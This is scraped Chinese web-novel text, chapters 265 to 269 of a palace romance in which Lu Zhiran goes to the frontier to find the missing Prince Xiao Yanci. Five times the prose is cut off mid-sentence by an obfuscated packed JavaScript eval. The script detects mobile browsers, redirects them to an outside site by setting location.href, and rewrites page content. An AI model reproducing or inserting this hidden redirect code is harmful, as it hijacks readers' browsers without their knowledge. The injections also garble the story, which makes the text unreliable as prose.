萧晏清刚刚得了满足,心情十分不错,对楚云清自然多了几分耐心。 “怎会?本王只是太忙了,而且,本王若时常来你这儿,依王妃那善妒的性子,定会对你多有刁难。” 楚云清听了这话,顿时感动极了。 原来,王爷都是为了她着想。 她又可怜巴巴地告了一番卢诗音的状,萧晏清对她好一番柔情安抚。 翌日,楚云清起身伺候萧晏清更衣,又小意温柔地送他出门。 萧晏清离开后,脸上温柔的神色便淡了许多。 楚云清这个女人,长得一般,家世一般,若非阴差阳错,她定然没有资格进吴王府的门。 之所以宠幸她,陪她演这一出戏,也是因为赵书宁的功劳。 或许,楚翊安在西平也能闯出些名堂来。 他已经派人给楚翊安和赵书宁传信,让他们替自己办一件事,若能办好,他们在自己这里便是大功臣。 看在那两人还有些用处的份儿上,萧晏清这才宠幸了楚云清,给她两分温柔。 楚云清沉浸在自我感动之中,压根不知道,自己这是沾了赵书宁的光。 她抚着自己的肚子,脸上露出希冀的神色。 昨夜,行房前她已然服下了赵书宁给的助孕丹,说不定她能一次就中了呢! 正暗自期待,一个婆子就端着一碗黑乎乎的药汤入内,语气冷冰冰的。 “楚侧妃,这是避子汤,喝了吧。” 楚云清满脸不可置信,“我是侧妃,有资格为王爷诞下子嗣,你们凭什么要我喝避子汤?” 那婆子皮笑肉不笑,“您只是侧妃,王妃尚未有孕,你有什么资格诞下子嗣?” 楚云清面皮抖动,“殿下呢?殿下知道你们这么对我吗?” “您觉得呢?侧妃,请吧,可别让奴婢亲自动手,奴婢粗手粗脚,若是弄伤了您,可就不好了。” 楚云清一番哭闹,但最终还是捏着鼻子喝了那碗药。 确保她喝下去了,那婆子这才离开,去向卢诗音复命。 楚云清满脸怨毒地盯着她的背影,摸着自己的肚子,恨极了。 卢诗音那**若一直怀不上,难道自己也一直不能怀?真是不公平! 不久后,捷报再次传回,这是任宗平传回来的。 “羌笛狡诈,表面暂退,实则暗中联合西戎,意在攻下西平要地,进而长驱直入,威胁京都。七月初,羌笛部族再次劫掠百姓,微臣派兵追击,不料此乃羌笛与西戎声东击西之策,西平城遭到猛烈**,城门险些失守。” “瑾王率两千人马,直取敌军后方,焚掠敌方粮草,护军中尉孙牧之百步穿杨,射杀羌笛部族三皇子,敌军士气溃败。加之,太仓商行送来四发火炮,威力十足,一举将敌军击败,溃不成军。此役,我方共俘获战俘数千人,大获全胜。” 德丰帝看罢,喜得大笑三声。 “好,好好好!真是太好了!” 堂下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15351526|165058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 众臣亦是一片欢喜。 “瑾王殿下在此次大战中立下此等大功,当真有勇有谋!” 立马有人跟着附和,朝堂上尽是对萧晏辞的夸赞之词,大家脸上也都是笑意。 但有人却笑不出来了。 萧晏清脸上的表情僵硬极了,只能勉强扯了扯唇,露出牵强的笑。 实际上,袖中的拳头早已握得咯咯作响了。 可恶,萧晏辞怎么那么好的运气!偏偏让他立下了大功。 若父皇恩准自己带兵前往西平,那立功的人就是自己了! 此时的萧晏清,心头升起了一股前所未有的危机感。 陆贯轩的注意力则完全放在了另外一件事上。 太仓商行献出了火炮,还在此次战役中起了至关重要的作用。 如此大功,是不是可以把先前那桩罪责抵消? 他很想为太仓商行邀功,但这话从他嘴里说出去却终归不合适。 幸而,有人替他开了口。 萧晏珩出列,“父皇,儿臣方才听到火炮,似是太仓商行献上的?如此说来,太仓商行又立下了一功。” 萧晏清如何甘心让太仓商行再次立功?他赶紧接话,“此次太仓商行立功不假,但说来也奇怪,太仓商行如何会有火炮?” 这话乍听似是单纯疑惑,但细品,就能品出其背后的恶意揣测。 本朝禁止交易火炮,太仓商行却有火炮,且时机如此恰当,刚好在需要的时候献了出来,细品之下,委实蹊跷。 太仓商行是陆知苒的产业,而陆知苒是萧晏辞的未来王妃,太仓商行私藏火炮之举,是不是与萧晏辞有些关系? 大家都是人精,立马明白过来萧晏清此话的言外之意,一时之间,众人心中亦不禁泛起嘀咕。 德丰帝脸上的笑意淡了几分,看向萧晏清的眼神也透出几分冷淡。 “此事平乐县主已然事先向朕禀明,怎么,吴王对此事有异议?” 德丰帝直呼吴王,语气中的冷淡与敲打之意,再明显不过。 萧晏清精神一凛,后背瞬间冒出冷汗。 “儿臣并无异议,更没有旁的意思,请父皇恕罪。” 第265章 萧晏辞失踪 德丰帝淡淡看他一眼,想着自己心情好,便不再多说。 萧晏清低着头,掩去了眸底的那抹晦暗。 难道父皇完全忘了上次急报上所述,太仓商行售卖假药致使疫病蔓延,难不成因为这次的功劳,就能抹杀掉此前的罪责?父皇未免也太宽宏大度了。 若父皇就此揭过此事,那自己先前所作的一切,岂不白费了? 萧晏清心头愤恨,却什么都不敢说,只能把满腹情绪尽数咽了回去。 散朝后,德丰帝打开了另外一封密信。 那是心腹传回来的,比先前那封捷报详尽数倍。 德丰帝认真看完,面上不禁笼上一层若有所思。 谷栖山重病了,许久不曾在人前露面,一切事务都是他的养子谷兆麟代劳。 先前那封请求驰援,痛斥太仓商行售卖假药的急报,亦不是出自他之手,而是出自谷兆麟。 直至羌笛与西戎联手攻城,西平险些破城之际,谷栖山才终于现身城门前,鼓舞士气。 而那一场大战,也令他元气大伤,再度倒下。 而今,谷栖山的身体究竟如何,能否恢复如初,都是未知数。 谷兆麟刻意瞒下此事,便是担心朝廷派人接手镇西军,但此事还是传到了德丰帝的耳中。 西平乃边关要塞之地,接连经历大战,已是元气大伤,他必须要派一个足够可靠之人驻守,方能放心。 谷栖山若当真身体垮了,德丰帝不会再让他留在西平。 但眼下战况尚不稳定,此时换将实乃不明智之举,德丰帝自是不会如此行事。 他提笔,写了一封密信,交由心腹送了出去。 陆知苒足不出户,但对外头的消息依旧十分灵通。 前世,西戎并未与羌笛合谋,没想到这一世却发生了这样的变化。 幸而危机化解了。 只是,赵书宁的功劳并没有被抹去。 太仓商行身上的污名也尚未澄清。 蒋南笙也依旧下落不明。 陆知苒心头又笼上了一层淡淡阴霾。 不知为何,她有一种预感,西平之事尚未结束,后面,只怕还会有一场更大的风波。 陆知苒有些心绪不宁,当晚,她又梦魇了。 她再次在梦中看到了浑身是血的萧晏辞。 猛地惊醒,她的心口依旧一阵砰砰直跳,久久难以平复。 霜华听到动静入内,面带担忧。 “小姐,您又梦魇了吗?” 陆知苒没有回答,只问,“我们的人可有送信回来?” “还没有,应当快了。皇上都收到捷报了,想来西平局势已然稳定了,您无需担心。” 陆知苒不知如何解释,只轻轻点了点头。 她是重生之人,相信冥冥之中的预感。 这段时日断断续续做的这些梦,让她不得不多想。 此时,那种预感变得更加强烈。 希望是她想多了吧。 德丰帝解了陆知苒的禁足,萧宝珠和叶寒衣第一时间就来陆府寻她。 “苒姐姐,你知道了吗?咱们把羌笛击退了,七皇兄立下大功了。” 陆知苒含笑点头,“我听说了。” 萧宝珠很为萧晏辞感到骄傲。 但想到蒋南笙,她又不禁面露担忧。 “可是阿笙一直没有消息,我很担心。” 她想到了最坏的可能,但她一直回避着这个问题,不让自己胡思乱想。 陆知苒宽慰她,“蒋公子吉人天相,定然没事的。” 这话没有什么说服力,但却是萧宝珠想听的,她用力地点头。 气氛有些沉闷,陆知苒想起另一茬,便赶忙吩咐霜华,“去把东西取来。” 两人不明所以。 霜华搬出了一个长长的匣子,陆知苒示意叶寒衣打开。 她心中似有所感,打开一看,眼睛倏而亮了。 是一把宝剑。 “是给我的吗?” 陆知苒含笑点头,“上次许诺你的,今日兑现了。” 当初选妃之时,叶寒衣帮她化解了姜锦年的算计,她便许下承诺,寻一方宝剑以作谢礼,她一直放在心上。 这把宝剑上次张德安从岭南带回来的,原本早就该给叶寒衣送去,但后来她被禁足,此事便暂时搁置了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15356300|165058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 “你看看是否喜欢。” 叶寒衣立马迫不及待地将剑拔出,剑刃光可照人,泛着森冷寒光,她当场舞了起来,剑身轻若无物,她的剑风凌厉,直接把院中那手臂粗的树干削断了。 陆知苒和萧宝珠齐齐鼓掌。 叶寒衣收剑入鞘,脸上的喜欢不加掩饰。 “知苒,多谢你,我很喜欢。” “这本就是给你的谢礼,何必言谢?你能喜欢,那我的谢礼才算是送得值了。” 气氛才刚刚好转,金嬷嬷急匆匆地入内,手里拿着一封信。 “小姐,西平有消息传回来了!” 几人闻言,精神顿时一振。 陆知苒急忙拆开,三人凑到一处看了起来。 待看罢信上的内容,几人脸色巨变,方才的轻松愉悦一扫而空。 萧晏辞失踪了。 这封信是陆知苒的人传回来的,他们并不知道具体发生了什么事,只知道萧晏辞失踪了,一并失踪的,还有他的一众心腹。 信上轻飘飘的几个字,如同一颗巨石,狠狠砸在众人心头上,砸得大家心头剧震。 陆知苒捏着信纸的手不禁有些发抖。 叶寒衣和萧宝珠的脸色也很难看,萧宝珠尤甚,她声音哽咽,都快哭出声了。 “阿笙还没找到,七皇兄又失踪了,这到底是怎么一回事啊。” 陆知苒这段时日便一直心神不宁,这个消息只是应证了先前的预感,她很快就冷静了下来。 叶寒衣也比萧宝珠镇定。 “表兄身怀武艺,我的手下也跟在他的身边,他们个个都武艺不凡,定然能护得住表兄。你先别担心。” 话虽如此,萧宝珠心头依旧很乱,一时气氛沉闷到了极致。 当天晚上,陆知苒不出意外地又做梦了。 她看到萧晏辞被困在一处密林中,四周都是密密麻麻的蛇,朝他吐着信子。 惊醒过来,陆知苒浑身都不禁开始冒冷汗。 梦中的情形太过骇人,更像是冥冥之中有什么声音在召唤她。 陆知苒心中第一次升起一个念头,她想去西平一趟。 第266章 命里有一劫 这个念头一起,她自己都吓了一跳。 她素来都是理智的,怎么会有这样的想法? 她久居深闺,从未出过远门,这个时候去西平,只会添乱。 她长长呼出一口气,将乱七八糟的想法压了下去。 翌日,她被柔妃召进了宫。 柔妃的眼底一片青黑,明显看得出没有休息好,整个人的状态有些糟糕。 难道,叶寒衣已经把萧晏辞失踪的消息告知柔妃了? 陆知苒看向一旁的叶寒衣,她摇了摇头。 她什么都没有说。 但或许是母子连心,昨夜柔妃也做了梦。 她的梦境,竟与陆知苒的如出一辙。 “明明西平传回来的是阿辞立功的好消息,但我这心里,却一直不安稳,昨日更是莫名心慌,还做了那样的梦,你们说,阿辞是不是出事了?” 陆知苒和叶寒衣心里齐齐咯噔了一下,一时不知该如何回答。 就是这短暂的迟疑,让柔妃察觉到了不对。 “你们怎么不说话?你们是不是收到了西平的消息?快老实交代,阿辞是不是真的出事了?” 柔妃语气着急,抓着她们的手也用力几分。 两人互相对望一眼,最终还是决定袒露实情。 柔妃听罢,整个人都瞬间瘫软下去。 “姑母,您别担心,表哥不可能会出事的。” 这番安慰落在柔妃的心底,轻飘飘的,起不到半点作用。 昨夜的梦境,彻底搅乱了她的心。 两人在夕颜殿陪了柔妃许久,待她情绪稳定了才离开。 陆知苒正准备出宫,没想到却被德丰帝的人请了过去。 他的案前摆着一份密信,那是他的心腹从西平送来的。 不仅陆知苒收到了萧晏辞失踪的消息,德丰帝也收到了,而且他收到的消息,比陆知苒的详尽许多。 德丰帝示意冯有才将那封信递到了陆知苒面前。 “此事,想来你也已经知道了。” 陆知苒看罢,眸色不禁沉了几分。 赵书宁的方子并未将此次疫病根治,蒋家人开了一个方子,需要赤影藤入药,此药十分关键,不可替代。 而赤影藤生于幽谷岩隙,藤如血络,日出则隐,月出则显,只在羌笛境内的断云山上有。 最终,赤影藤顺利采到了,萧晏辞却遭遇敌军突袭,失去了踪迹。 上首的德丰帝面色亦是一片幽深。 “悟尘大师对朕说,小七命里还有一劫,此次离京,便是去化解劫难。化劫固然有风险,但凡事不破不立,此劫不化,恐会反噬其身,若此劫若能顺利度过,他后半生便会顺遂无忧。一番思量,朕才允他离京。而今,悟尘大师的预言果然应验了。” 陆知苒闻言愣住。 当初,萧晏辞的确是扯了悟尘大师为幌子,但他扯的理由是自己佛缘未了,需了结佛缘方能成亲,不然一辈子没有子嗣。 原来,德丰帝并未信他这话。 实情是,悟尘大师算出萧晏辞命里有一劫,德丰帝这才允他离京。 只是,陆知苒不明白,德丰帝为何会将自己召来,还对自己说了这么一番话。 德丰帝目光定定地落在她的身上,语气沉缓。 “当日,朕询问悟尘大师有何破局之法,悟尘大师留了一枚锦囊,让朕百日后打开。今日,恰好到了百日之约,而朕也刚好收到了小七失踪的消息,此番前后衔接,竟是分毫不差。” 德丰帝原本将信将疑,没曾想,一切再次应验。 他不得不折服于悟尘大师的神机妙算。 陆知苒心头一跳,心中不自觉升起一个猜测。 难道,那锦囊与自己有关? 若不然,皇上又怎会浪费口舌,与自己说这么多? 果然,德丰帝让冯有才将锦囊呈到了她面前。 “你打开看看。” 陆知苒稳了稳心神,拿起锦囊,缓缓展开。 “瑾王命中贵人,明惠五年十月初十丑时一刻生人,劫消缘起。” 饶是先前早有思想准备,真正看到这话,陆知苒也不禁微微怔住。 她正是明惠五年十月初十丑时一刻出生。 她竟是萧晏辞的命中贵人? 这听起来委实不可思议。 “当 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15356301|165058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 日选妃之时,悟尘大师便断言你与小七有缘,而今,他又未卜先知,预测出小七会有一难。这锦囊中所说之人,除了你,不作他想。” 陆知苒心口不自觉狠狠跳了几下,一股奇妙的感觉在心尖流淌。 “小七此次遇险,生死不知,朕欲命你前往西平寻他,你可敢?” 陆知苒几乎没有片刻犹豫,立马叩首应下。 “臣女领命,定不负皇上所托,将瑾王殿下安全寻回。” 德丰帝面上露出两分笑意,“好!有胆识,有魄力,朕没有看错你。朕会给你五百人,他们藏于暗处,随时听命,也会护你安全。” “多谢皇上。” 陆知苒没有耽搁,第一时间出宫,为前往西平作安排。 萧晏辞是在断云山上失踪的,而她的梦境中所见,他也的确被困在山中。 悟尘大师说自己是萧晏辞的命定之人,或许,冥冥之中,老天爷的确是在给她指引。 这一次,她定要找到他。 陆知苒此次是秘密出行,除了瑶光阁的几个心腹,不能让旁人知晓,德丰帝会想由头替她遮掩。 高嬷嬷这里注定瞒不住,而高嬷嬷也必定会告知柔妃。 陆知苒并不打算对柔妃隐瞒。 知道自己前往西平寻找萧晏辞,至少柔妃心中会燃起希望。 此去西平,最不能少带的就是药。 伤药,解**,以及驱蛇药。 梦中所见的群蛇,定然不是无缘无故。 她想到了艾伯特,洋医在外伤的治疗上有其过人之处,或许,她可以向对方讨要一些药物,以备不时之需。 她当即往安王府递去了一张拜帖。 邢初雪一直在养伤,期间陆知苒来探望过一次,为了不影响她休养,后面便只派人送来滋补药材。 而今,她已经恢复得差不多,只是依旧不能剧烈运动,不能劳累。 休养了这么长时间,她半点没有消瘦,反而长胖了,看上去面色红润。 陆知苒见她如此,心头不禁升起暖意。 都说大难不死,必有后福,她才是真正的有福之人。 第267章 赶赴西平 二人一番简单叙旧,陆知苒便说明了来意。 她隐去了自己要去西平之事,只说西平缺药,想向艾伯特求药。 邢初雪闻言,立马道:“我这便让人去请他来,只是他手里有没有药,我也不敢保证。” 艾伯特很快来了。 他四十出头的年纪,白皮肤绿眼睛黄头发,操着一口磕磕绊绊的大齐话。 得知陆知苒是洛观澜的表妹,他的态度明显热情许多,对于她的要求也欣然答应。 他的药制作起来不简单,目前他手里的药不多,全都赠与了陆知苒。 陆知苒要付银子,他连连摆手拒绝。 陆知苒帮忙引荐,他才来了安王府,才有机会深入学习中医,他岂能收对方的银子? 陆知苒见他并非假意客套,便不再坚持。 萧晏珩回府之后得知了此事,敏锐地生出几分猜测。 他吩咐心腹,暗中留意陆知苒的动向,而这一切,陆知苒并不知晓。 今日,萧宝珠也收到了一封来自西平的信,是孙牧之所写。 “某受公主所托,至西平后便着意调查蒋六公子的行踪,无果。近日,某偶遇一女子,容貌与蒋六公子九成相像,其脑部受过重创,记忆全无。事有蹊跷,某无从裁判,特知悉公主。” 信很短,却让萧宝珠精神一振。 不用想,那一定是阿笙!她只不过是换回了女儿身罢了。 只是,她脑袋受了伤?还失忆了? 这段时日,她一直失踪,想来便是因为这个缘故。 到底是谁伤了她? 萧宝珠既高兴蒋南笙还活着,又为她的伤势担忧。 总体而言,还是高兴居多。 她提笔,给孙牧之写了一封回信。 她没有直接承认对方就是蒋南笙,只是拜托孙牧之对对方多加照顾,护其周全。 写了信,她便让人送到了陆府,请陆知苒的商队帮忙转交。 陆知苒收到信,也并未多问,命人收了起来,到时她亲手转交给孙牧之便是。 一切准备妥当,翌日,陆知苒早早出了城。 她没有带翠芙和丹烟,只带了霜华一个婢女。 此去危险,翠芙和丹烟帮不上忙,反而会成为拖累,有霜华便够了。 陆知苒没想到,叶寒衣会驾马追来。 她换上了男装,整个人打扮得分外干净利落,她的腰间,还挂着一把剑,赫然是那日陆知苒所赠那把宝剑。 叶寒衣给它取了个名字,叫无念。 她骑在马上,笑看着陆知苒。 “此去西平,路途遥遥,某自请相送一程,不知是否有此荣幸?” 看来,高嬷嬷果然把此事告知了柔妃,所以叶寒衣才会知道自己要前去西平。 只是,叶寒衣此举,是柔妃的授意,还是她私自决定的? “柔妃知道吗?” 叶寒衣点头,“是姑母让我来的。你手无缚鸡之力,却愿意为了表兄远赴西平涉险,我岂能袖手不管?至少,我身怀武艺,还有你送的这把宝剑,若当真遇到了危险,也能护你一二。” 陆知苒有些将信将疑,“当真?” 别怪她不信,萧晏辞也惯会作那先斩后奏之事,叶寒衣与他性子如出一辙,她会如此也完全有可能。 叶寒衣一脸无奈,“我骗你做什么?姑母眼下正是心绪不宁的时候,我若是再背着她离开,她只会更加担惊受怕。她不点头,我不敢胡来。” 此事的确是经过了柔妃的同意。 只不过,叶寒衣颇费了好一番工夫,才终于说服了柔妃。 陆知苒听她这么说,又见她神色认真,这才放下心来。 来都来了,自然不好将人赶回去。 更何况,看她那副架势,自己就算赶她,她也不会愿意走,反而会自己偷偷前去。 既如此,还不如大家结伴同行,还能互相有个照应。 萧晏珩得知陆知苒与叶寒衣乔装前往西平,眉头便不自觉锁紧几分。 看来,是萧晏辞出事了。 略沉吟片刻,萧晏珩下令,“派人去西平走一趟。” 他倒是想看看,西平这趟浑水下面到底藏着些什么。 陆知苒一行是以商队的名义出行,整个商队上下,除了陆知 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15360313|165058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 苒自己的人,便是德丰帝派给她的心腹。 明面上有五十多人,其余人则隐在暗处。 一开始,叶寒衣和霜华都担心陆知苒经受不住长时间的奔波,但很快,陆知苒的表现就让她们刮目相看了。 为了不拖慢整体速度,陆知苒也坚持骑马。 一路下来,她双腿内侧都磨破了皮,上下马都需要人搀扶,但她愣是一个字都没有抱怨过。 一开始她骑马的技术还很笨拙,到后来,她已然日渐熟练。 虽然依旧与叶寒衣和霜华没法比,但与此前相比,已是进步颇多。 临近西平城时,陆知苒直接下令,“我们不进城,往西走,直接往断云山而去。” 这段时日,他们日夜兼程地往西平赶,越是临近,陆知苒梦中的情形就越清晰,那股不安的预感也越发强烈。 越是如此,她越是不敢耽搁,必须马上行动。 断云山位于大齐与羌笛边境处,东面属于大齐,西面属于羌笛。 又因其山势陡峭,直上云霄,非常人所能逾越,是以,此山便是一处天然屏障。 上山唯一好走的路,需从羌笛境内绕行。 他们要上山,也只能走那条路。 他们本以为要绕开羌笛人悄然上山不容易,但没想到事情顺利多了。 前头出现了一波人马,与羌笛军发生了交锋。 陆知苒一行便是趁此机会悄悄上了山。 山路崎岖陡峭,十分难行,但陆知苒却走得很快,大家都跟着她。 走到分叉路,她停下来思考几息,很快就做出了决断。 她是第一次到这里,但她心里好似有一张地图,冥冥之中,似有人在指引她前行。 眼下虽已是七月,但越是往林子深处走,断云山上的温度便越低,大家甚至穿上了冬衣。 叶寒衣出声提醒,“知苒,不能再往前了,前面是沼泽地。” 沼泽地是最危险的存在,若是一不小心踩进去,便会万劫不复。 陆知苒的目光紧紧盯着沼泽深处,“必须想办法进去一探究竟。我有预感,里面有人。” 第268章 活要见人,死要见尸 她的梦境中,便出现过这片沼泽林。 叶寒衣蹙眉。 难道表兄在里面? 一个轻功最好的暗卫站了出来,“我去探一探路。” 他足尖轻点,一跃而起,几个起落,他便飞至沼泽林深处。 还尚未来得及窥探其中情形,空中便飞出几支利箭,幸而那暗卫及时闪避,这才堪堪躲过。 但身形已是不稳,险些一头栽入沼泽地中。 这时,另一个暗卫及时飞身上前,拉了他一把,这才安全落地。 此番变故让众人心头凛然的同时,也不禁精神一振。 里面真的有人! 叶寒衣和陆知苒互相对望一眼,彼此都从对方的眼中看到了激动。 那里面的人,很有可能就是萧晏辞! 叶寒衣按捺不住,开口喊道:“表兄,我是寒衣,是你在里面吗?我们来救你了。” 她生怕招来敌军,不敢喊得太大声。 喊了一遍,里面没有动静。 陆知苒沉声开口,“瑾王殿下,臣女陆知苒,奉皇上之命前来搭救,若当真是您,还请示下。” 里头依旧一片安静。 就在他们以为对方不会给出回应时,沼泽林深处的芦苇传来一阵窸窣的响动。 …… 此时,西平城中。 接连经历了几场大战,西平城百姓们元气大伤。 好在,外敌已退,百姓们又重新燃起了希望。 近日,城中开始施药,这次的药比以往的效果都要好,连喝三日,大家原本咳嗽,心慌气短的问题都大大好转了,症状轻微者,已然痊愈。 但也不乏病入膏肓之人,几服药灌下去,也已是无力回天。 若没有拖延这么久,他们就不会白白丧命。 蒋老太医拿着一个方子,可惜地连连摇头。 南笙早便到了此地,施诊布药。 彼时,疫病还不严重,若按照这个方子继续施诊,这场疫病可以早早扼杀于摇篮之中。 只可惜,南笙出事,下落不明,原本大好的局面就此被搅乱。 疫病一拖再拖,不知多少百姓的身子被拖垮,最后只能加赤影藤这味药,方能根治。 也正是为了采到足够的赤影藤,瑾王殿下至今下落不明。 蒋老太医长长叹息一声。 他拼着自己的一身老骨头到了此地,忍受炎热,为疫病忙前忙后,所求不过是能立下寸功,为蒋家的未来求一线生机。 若是这几个儿子顶用,他心中那口气早就散了。 “要是南笙在就好了。” 想到天赋卓绝的孙儿,蒋老太医心口便是一阵剧痛。 余光一瞥,他看到了一张熟悉的脸。 他精神一震,待要细看,方才那张脸却已消失不见了。 蒋老太医努力在人群中搜寻,但却没再看到方才那人。 是他眼花了吗? 方才竟以为自己看到了南笙。 他摇了摇头,苍老的脸上浮起一抹深深的失望。 定是自己思他心切,这才看错了。 帅营中,谷栖山身着一身家常的袍子,正坐在床边擦拭自己的大刀。 他身形高大魁梧,肩宽似可扛鼎,臂膀筋肉虬结,一双虎目锐利如刀,带着一股令人闻风丧胆的摄人气势。 但只有他自己知道,他的身体已经大不如前,上次的**到底伤了根本,便是手中的这把大刀,他使起来也不似以往那般潇洒自如。 若非瑾王及时派人取来了那颗阎罗笑,他只怕早就下去见阎罗王了。 眼下,他体内余毒未清,不可动用内力。 上次,羌笛卷土重来,又与西戎结盟,西平城危在旦夕,他一苏醒便换上了铠甲,到阵前迎敌,大大激发了斗志。 但他贸然动用内力,也让好不容易好转的伤情雪上加霜。 而今,他只能在帐中好好休养。 他想到了故人,心头涌起一股难以抑制的波澜。 她把阎罗笑送来了,自己却没能护住她的儿子。 瑾王失踪至今已将近一月,派出的人马一波接一波,却没有带回好消息。 她若是得知,该是何等着急? 正思虑着,营帐外传来了脚步声。 “义父,您在吗?” 谷栖山擦拭大刀的动作不停,淡声开口。 “进。” 一个身穿铠甲的男子迈步而入,他的身形亦十分高大,但在谷栖山面前,还是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15360314|165058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 矮了一个头,整个人的气势都被压了一头。 他便是谷兆麟的养子,谷兆麟。 谷栖山一生不曾娶妻,自然没有子嗣。 谷兆麟的父亲本是谷栖山的护卫,为了救他而死,谷栖山便收养了谷兆麟,这些年一直带在身边,悉心栽培。 谷兆麟恭敬地朝谷栖山行礼,“义父,您的身子可好些了?” 谷栖山淡淡颔首,“好多了。叙白那边有消息了吗?” 谷兆麟摇头,“尚未。义父无须担心,瑾王殿下福泽深厚,叙白定能将他顺利寻回。” 戈叙白乃镇西军参将,亦是谷栖山唯一的亲传徒弟,颇受器重。 便是谷兆麟这个养子,有时候都要被排在戈叙白之后。 戈叙白的方方面面都太像谷栖山了。 他拥有与谷栖山一般无二的强健体魄,在武学上的天赋亦是非比寻常,谷栖山稍微提点一二,他就能运用自如,甚至青出于蓝胜于蓝。 谷栖山见到他,便仿佛看到年轻的自己,自然难压惜才之心。 此次寻找萧晏辞的任务非常艰辛,谷栖山没有交给谷兆麟,而是交给了戈叙白。 谷栖山的眉目间笼上一层忧虑。 一个很不好的预感袭上心头,却被他强行压下。 活要见人,死要见尸。 无论如何,他都要给那人一个交代。 谷兆麟又出声宽慰了一番,谷栖山疲倦地摆了摆手,让他退下了。 转身的瞬间,谷兆麟脸上那抹担忧便褪去,取而代之的是一抹淡淡的阴郁。 义父的心已经偏了。 自己在他心中,已然大不如前。 谷栖山看着养子离开的背影,眸底也多了一丝晦暗。 他对这个养子,本是寄予厚望,但其不论武学或是兵法的领悟上,皆是天赋平平。 谷栖山失望之余,便调整了目标,只培养他做守城之将。 但没想到,他心中对自己竟生了不满,甚至…… 自己此次**,只怕也与他有脱不开的干系。 谷栖山只是生了疑心,却没有证据。 只希望,是自己想多了。 这么多年的父子情分,他不希望就此被泯灭。 第269章 处理伤口 谷兆麟回到自己的营帐,面容满是阴鸷。 心腹上前,低声道:“少将军且放宽心,我们早已经把消息透露给羌笛,他们此去,定是有去无回。” 羌笛在这场大战中吃了大亏,正是急需找回场子的时候。 他们得知大齐朝的瑾王殿下竟在羌笛境内的断云山上,岂有不想法子抓人的道理? 戈叙白带兵前去营救,羌笛也定然早有布局,就只等着对方自投罗网。 届时,不论是那劳什子瑾王,还是戈叙白这个眼中钉,都会一并被拔掉。 思及此,谷兆麟的心情这才有所好转。 这次,希望那些羌笛人不要让他失望才好。 盼着他们死的人,不止谷兆麟一人。 但他们的期盼只怕要落空了,萧晏辞没有死,反而迎来了新的生机。 陆知苒的指引没有错,萧晏辞便藏身于沼泽林中。 几个暗卫合力,将陆知苒送进了那片沼泽林,她终于见到了阔别数月的萧晏辞。 贺昀激动得险些哭了,“王妃,叶小姐,真的是你们?我没有看错吧!” 陆知苒也顾不上在意他的称呼,全部注意力都放在了萧晏辞的身上。 眼前的男人胡子拉杂,面色发红,昏迷不醒,正发着高热,鼻息已然十分微弱。 他的腰腹上裹着一层厚厚的布,许久未曾更换,上面的血迹已然发黑,陆知苒见了,心头不禁狠狠一滞。 他身边的护卫也没好到哪里去,一个个面如菜色,身上或多或少受了伤。 霜华立马上前给萧晏辞诊脉,眸色不禁沉了几分。 “外伤没有及时处理,已然发脓感染,引发了高热。而且,殿下还中了蛇毒。” 叶寒衣看向叶剑清等人。 叶剑清是叶寒衣的护卫,此次跟萧晏辞一道前往西平,护卫其安全。 “你们身上不是都有蛇毒的解药吗?怎么还搞成这样?” 滇南多丛林,也多蛇蚁毒虫,当地人都会随身携带蛇毒的解毒丹,叶剑清等人身上不可能没有。 